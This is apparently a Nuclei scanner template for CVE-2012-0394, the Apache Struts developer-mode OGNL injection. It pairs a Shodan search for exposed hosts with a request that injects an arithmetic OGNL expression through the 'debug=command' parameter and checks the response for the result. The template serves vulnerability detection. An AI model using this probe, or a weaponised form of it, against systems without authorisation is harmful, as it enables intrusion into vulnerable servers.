id: CVE-2012-0394

info:
  name: Apache Struts Dev Mode OGNL Injection
  author: tess
  severity: critical
  description: |
    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  reference:
    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
    - https://www.exploit-db.com/exploits/31434
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
    - http://www.exploit-db.com/exploits/18329
  classification:
    cve-id: CVE-2012-0394
  metadata:
    shodan-query: html:"Struts Problem Report"
    verified: "true"
  tags: ognl,injection,edb,cve,cve2012,apache,struts

variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

requests:
  - method: GET
    path:
      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{result}}'

      - type: status
        status:
          - 200